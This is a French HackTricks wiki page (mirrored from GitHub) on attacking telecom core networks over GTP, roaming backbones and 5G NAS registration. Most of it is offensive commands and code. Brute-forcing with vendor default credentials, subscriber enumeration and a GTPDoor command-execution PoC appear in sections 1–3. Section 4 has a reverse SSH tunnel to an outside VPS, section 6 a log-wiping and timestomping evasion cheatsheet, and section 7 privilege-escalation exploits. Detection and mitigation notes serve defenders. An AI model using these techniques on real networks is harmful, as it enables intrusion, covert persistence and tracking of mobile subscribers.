mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
248 lines
13 KiB
Markdown
248 lines
13 KiB
Markdown
# Exploitation de réseaux télécom (GTP / environnements de roaming)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
> [!NOTE]
|
||
> Les protocoles du cœur mobile (GPRS Tunnelling Protocol – GTP) traversent souvent des backbones de roaming GRX/IPX semi-fiables. Parce qu'ils circulent sur UDP en clair avec presque aucune authentification, **tout point d'appui à l'intérieur d'un périmètre télécom peut généralement atteindre directement les plans de signalisation cœur**. Les notes suivantes rassemblent des techniques offensives observées sur le terrain contre SGSN/GGSN, PGW/SGW et autres nœuds EPC.
|
||
|
||
## 1. Recon & Initial Access
|
||
|
||
### 1.1 Comptes OSS / NE par défaut
|
||
Un nombre étonnamment important d'éléments réseau fournis par les vendors sont livrés avec des utilisateurs SSH/Telnet codés en dur tels que `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Un wordlist dédié augmente drastiquement le succès du brute-force:
|
||
```bash
|
||
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
|
||
```
|
||
Si l'appareil n'expose qu'une VRF de management, pivot through a jump host first (voir la section «SGSN Emu Tunnel» ci-dessous).
|
||
|
||
### 1.2 Découverte d'hôtes dans GRX/IPX
|
||
La plupart des opérateurs GRX autorisent encore les **ICMP echo** à travers le backbone. Combinez `masscan` avec les probes UDP `gtpv1` intégrées pour cartographier rapidement les listeners GTP-C :
|
||
```bash
|
||
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
|
||
```
|
||
## 2. Énumération des abonnés – `cordscan`
|
||
|
||
L'outil Go suivant génère des paquets **GTP-C Create PDP Context Request** et enregistre les réponses. Chaque réponse révèle le **SGSN / MME** actuel servant l'IMSI interrogé et, parfois, le PLMN visité de l’abonné.
|
||
```bash
|
||
# Build
|
||
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||
|
||
# Usage (typical):
|
||
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
|
||
```
|
||
Options clés :
|
||
- `--imsi` IMSI de l'abonné cible
|
||
- `--oper` Home / HNI (MCC+MNC)
|
||
- `-w` Écrire les paquets bruts dans un pcap
|
||
|
||
Des constantes importantes à l'intérieur du binaire peuvent être patchées pour élargir les scans :
|
||
```
|
||
pingtimeout = 3 // seconds before giving up
|
||
pco = 0x218080
|
||
common_tcp_ports = "22,23,80,443,8080"
|
||
```
|
||
## 3. Exécution de code via GTP – `GTPDoor`
|
||
|
||
`GTPDoor` est un petit service ELF qui **écoute sur UDP 2123 et analyse chaque paquet GTP-C entrant**. Lorsque la charge utile commence par un tag pré-partagé, le reste est déchiffré (AES-128-CBC) et exécuté via `/bin/sh -c`. Les flux stdout/stderr sont exfiltrés à l'intérieur de messages **Echo Response** de sorte qu'aucune session sortante ne soit créée.
|
||
|
||
Paquet PoC minimal (Python):
|
||
```python
|
||
import gtpc, Crypto.Cipher.AES as AES
|
||
key = b"SixteenByteKey!"
|
||
cmd = b"id;uname -a"
|
||
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
|
||
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
|
||
```
|
||
Détection :
|
||
* tout hôte envoyant des **unbalanced Echo Requests** aux IPs SGSN
|
||
* GTP version flag réglé sur 1 alors que message type = 1 (Echo) – déviation par rapport à la spécification
|
||
|
||
## 4. Pivoting Through the Core
|
||
|
||
### 4.1 `sgsnemu` + SOCKS5
|
||
`OsmoGGSN` fournit un émulateur SGSN capable de **establish a PDP context towards a real GGSN/PGW**. Une fois négocié, Linux reçoit une nouvelle interface `tun0` accessible depuis le roaming peer.
|
||
```bash
|
||
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
|
||
-APN internet -c 1 -d
|
||
ip route add 172.16.0.0/12 dev tun0
|
||
microsocks -p 1080 & # internal SOCKS proxy
|
||
```
|
||
Avec un firewall hair-pinning correctement configuré, ce tunnel contourne les signalling-only VLANs et vous place directement dans le **data plane**.
|
||
|
||
### 4.2 SSH Reverse Tunnel over Port 53
|
||
DNS est presque toujours ouvert dans les infrastructures en roaming. Exposez un service SSH interne sur votre VPS écoutant sur :53 et revenez plus tard depuis chez vous :
|
||
```bash
|
||
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
|
||
```
|
||
Vérifiez que `GatewayPorts yes` est activé sur le VPS.
|
||
|
||
## 5. Canaux cachés
|
||
|
||
| Canal | Transport | Décodage | Remarques |
|
||
|---------|-----------|----------|-------|
|
||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | clé de 4 octets + blocs de 14 octets (XOR) | écoute purement passive, pas de trafic sortant |
|
||
| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encodé dans les octets d'enregistrement A | surveille le sous-domaine `*.nodep` |
|
||
| GTP – `GTPDoor` | UDP 2123 | blob AES-128-CBC dans un IE privé | se fond dans le trafic légitime GTP-C |
|
||
|
||
Tous les implants implémentent des watchdogs qui **timestomp** leurs binaries et se re-spawnent en cas de crash.
|
||
|
||
## 6. Cheatsheet d'évasion des défenses
|
||
```bash
|
||
# Remove attacker IPs from wtmp
|
||
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
|
||
|
||
# Disable bash history
|
||
export HISTFILE=/dev/null
|
||
|
||
# Masquerade as kernel thread
|
||
echo 0 > /proc/$$/autogroup # hide from top/htop
|
||
printf '\0' > /proc/$$/comm # appears as [kworker/1]
|
||
|
||
touch -r /usr/bin/time /usr/bin/chargen # timestomp
|
||
setenforce 0 # disable SELinux
|
||
```
|
||
## 7. Privilege Escalation sur Legacy NE
|
||
```bash
|
||
# DirtyCow – CVE-2016-5195
|
||
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
|
||
|
||
# PwnKit – CVE-2021-4034
|
||
python3 PwnKit.py
|
||
|
||
# Sudo Baron Samedit – CVE-2021-3156
|
||
python3 exploit_userspec.py
|
||
```
|
||
Astuce de nettoyage :
|
||
```bash
|
||
userdel firefart 2>/dev/null
|
||
rm -f /tmp/sh ; history -c
|
||
```
|
||
## 8. Boîte à outils
|
||
|
||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – outils personnalisés décrits dans les sections précédentes.
|
||
* `FScan` : balayages TCP intranet (`fscan -p 22,80,443 10.0.0.0/24`)
|
||
* `Responder` : LLMNR/NBT-NS rogue WPAD
|
||
* `Microsocks` + `ProxyChains` : pivot léger SOCKS5
|
||
* `FRP` (≥0.37) : NAT traversal / asset bridging
|
||
|
||
## 9. Attaques d'enregistrement NAS 5G : SUCI leaks, rétrogradation vers EEA0/EIA0, et NAS replay
|
||
|
||
La procédure d'enregistrement 5G s'exécute sur NAS (Non-Access Stratum) au-dessus de NGAP. Jusqu'à ce que la sécurité NAS soit activée par Security Mode Command/Complete, les messages initiaux ne sont pas authentifiés ni chiffrés. Cette fenêtre pré-sécurité permet plusieurs vecteurs d'attaque lorsqu'on peut observer ou altérer le trafic N2 (par exemple, on-path dans le core, rogue gNB, ou testbed).
|
||
|
||
Registration flow (simplifié) :
|
||
- Registration Request : UE envoie SUCI (SUPI chiffré) et capacités.
|
||
- Authentication : AMF/AUSF envoient RAND/AUTN ; l'UE retourne RES*.
|
||
- Security Mode Command/Complete : intégrité et chiffrement NAS sont négociés et activés.
|
||
- PDU Session Establishment : configuration IP/QoS.
|
||
|
||
Conseils de configuration de laboratoire (non-RF) :
|
||
- Core : un déploiement par défaut Open5GS suffit pour reproduire les flows.
|
||
- UE : simulateur ou UE de test ; décodage avec Wireshark.
|
||
- Outils actifs : 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
|
||
- Filtres d'affichage utiles dans Wireshark :
|
||
- ngap.procedure_code == 15 (InitialUEMessage)
|
||
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
|
||
|
||
### 9.1 Confidentialité des identifiants : défaillances SUCI exposant SUPI/IMSI
|
||
Attendu : l'UE/USIM doit transmettre SUCI (SUPI chiffré avec la clé publique du réseau d'attache). Trouver un SUPI/IMSI en clair dans la Registration Request indique un défaut de confidentialité permettant un suivi persistant des abonnés.
|
||
|
||
Comment tester :
|
||
- Capturez le premier message NAS dans l'InitialUEMessage et inspectez le Mobile Identity IE.
|
||
- Vérifications rapides dans Wireshark :
|
||
- Il doit être décodé comme SUCI, pas IMSI.
|
||
- Exemples de filtres : `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` doit exister ; l'absence de celui-ci avec la présence de `imsi` indique une fuite.
|
||
|
||
Que collecter :
|
||
- MCC/MNC/MSIN si exposés ; logger par UE et suivre dans le temps/les emplacements.
|
||
|
||
Atténuation :
|
||
- Imposer des UEs/USIMs SUCI-only ; générer une alerte sur toute présence d'IMSI/SUPI dans le NAS initial.
|
||
|
||
### 9.2 Forçage des capacités vers des algorithmes nuls (EEA0/EIA0)
|
||
Contexte :
|
||
- L'UE annonce les EEA (chiffrement) et EIA (intégrité) supportés dans le UE Security Capability IE de la Registration Request.
|
||
- Mappings courants : EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC ; EEA0/EIA0 sont des algorithmes nuls.
|
||
|
||
Problème :
|
||
- Parce que la Registration Request n'est pas protégée en intégrité, un attaquant on-path peut effacer des bits de capacité pour contraindre la sélection d'EEA0/EIA0 plus tard lors du Security Mode Command. Certaines stacks autorisent incorrectement des algorithmes nuls hors des services d'urgence.
|
||
|
||
Étapes offensives :
|
||
- Interceptez l'InitialUEMessage et modifiez le NAS UE Security Capability pour n'annoncer que EEA0/EIA0.
|
||
- Avec Sni5Gect, hookez le message NAS et patcher les bits de capacité avant de le relayer.
|
||
- Observez si l'AMF accepte des chiffrement/integrité nuls et complète le Security Mode avec EEA0/EIA0.
|
||
|
||
Vérification/visibilité :
|
||
- Dans Wireshark, confirmez les algorithmes sélectionnés après Security Mode Command/Complete.
|
||
- Exemple de sortie d'un sniffer passif :
|
||
```
|
||
Encyrption in use [EEA0]
|
||
Integrity in use [EIA0, EIA1, EIA2]
|
||
SUPI (MCC+MNC+MSIN) 9997000000001
|
||
```
|
||
Mesures d'atténuation (obligatoires) :
|
||
- Configurer AMF/policy pour rejeter EEA0/EIA0 sauf lorsque strictement requis (p.ex., appels d'urgence).
|
||
- Préférer l'application d'EEA2/EIA2 au minimum ; journaliser et déclencher des alertes sur tout contexte de sécurité NAS qui négocie des algorithmes nuls.
|
||
|
||
### 9.3 Rejeu de la Registration Request initiale (NAS non sécurisé)
|
||
Parce que le NAS initial ne garantit pas intégrité ni fraîcheur, un InitialUEMessage+Registration Request capturé peut être rejoué à l'AMF.
|
||
|
||
PoC rule for 5GReplay to forward matching replays:
|
||
```xml
|
||
<beginning>
|
||
<property value="THEN"
|
||
property_id="101"
|
||
type_property="FORWARD"
|
||
description="Forward InitialUEMessage with Registration Request">
|
||
|
||
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
|
||
<event value="COMPUTE"
|
||
event_id="1"
|
||
description="Trigger: InitialUEMessage"
|
||
boolean_expression="ngap.procedure_code == 15"/>
|
||
|
||
<!-- Context match on NAS Registration Request (message_type == 65) -->
|
||
<event value="COMPUTE"
|
||
event_id="2"
|
||
description="Context: Registration Request"
|
||
boolean_expression="nas_5g.message_type == 65"/>
|
||
|
||
</property>
|
||
</beginning>
|
||
```
|
||
À observer :
|
||
- Si l'AMF accepte le replay et passe à l'Authentication ; l'absence de validation de fraîcheur/contexte indique une exposition.
|
||
|
||
Mitigations :
|
||
- Appliquer une protection contre le replay et le binding de contexte au niveau de l'AMF ; limiter le débit et corréler par GNB/UE.
|
||
|
||
### 9.4 Conseils d'outillage (reproductible)
|
||
- Open5GS : déployer un AMF/SMF/UPF pour émuler le core ; observer N2 (NGAP) et NAS.
|
||
- Wireshark : vérifier les décodages de NGAP/NAS ; appliquer les filtres ci‑dessus pour isoler la Registration.
|
||
- 5GReplay : capturer une Registration, puis rejouer des messages NGAP + NAS spécifiques conformément à la règle.
|
||
- Sni5Gect : sniff/modify/inject en direct le plan de contrôle NAS pour contraindre des algorithmes null ou perturber les séquences d'Authentication.
|
||
|
||
### 9.5 Checklist défensive
|
||
- Inspecter en continu les Registration Request à la recherche de SUPI/IMSI en clair ; bloquer les appareils/USIMs fautifs.
|
||
- Rejeter EEA0/EIA0 sauf procédures d'urgence strictement définies ; exiger au minimum EEA2/EIA2.
|
||
- Détecter l'infrastructure rogue ou mal configurée : gNB/AMF non autorisés, pairs N2 inattendus.
|
||
- Alerter sur les modes de sécurité NAS qui aboutissent à des algorithmes null ou à des replays fréquents d'InitialUEMessage.
|
||
|
||
---
|
||
## Idées de détection
|
||
1. **Tout appareil autre qu'un SGSN/GGSN établissant des Create PDP Context Requests**.
|
||
2. **Ports non standard (53, 80, 443) recevant des SSH handshakes** depuis des IP internes.
|
||
3. **Echo Requests fréquentes sans Echo Responses correspondantes** – peut indiquer des beacons GTPDoor.
|
||
4. **Taux élevé de trafic ICMP echo-reply avec de grands champs identifier/sequence non nuls**.
|
||
5. 5G : **InitialUEMessage contenant des NAS Registration Requests répétés depuis des endpoints identiques** (signal de replay).
|
||
6. 5G : **NAS Security Mode négociant EEA0/EIA0** en dehors de contextes d'urgence.
|
||
|
||
## Références
|
||
|
||
- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
|
||
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
|
||
- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
|
||
- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
|
||
- 3GPP TS 33.501 – Security architecture and procedures for 5G System
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|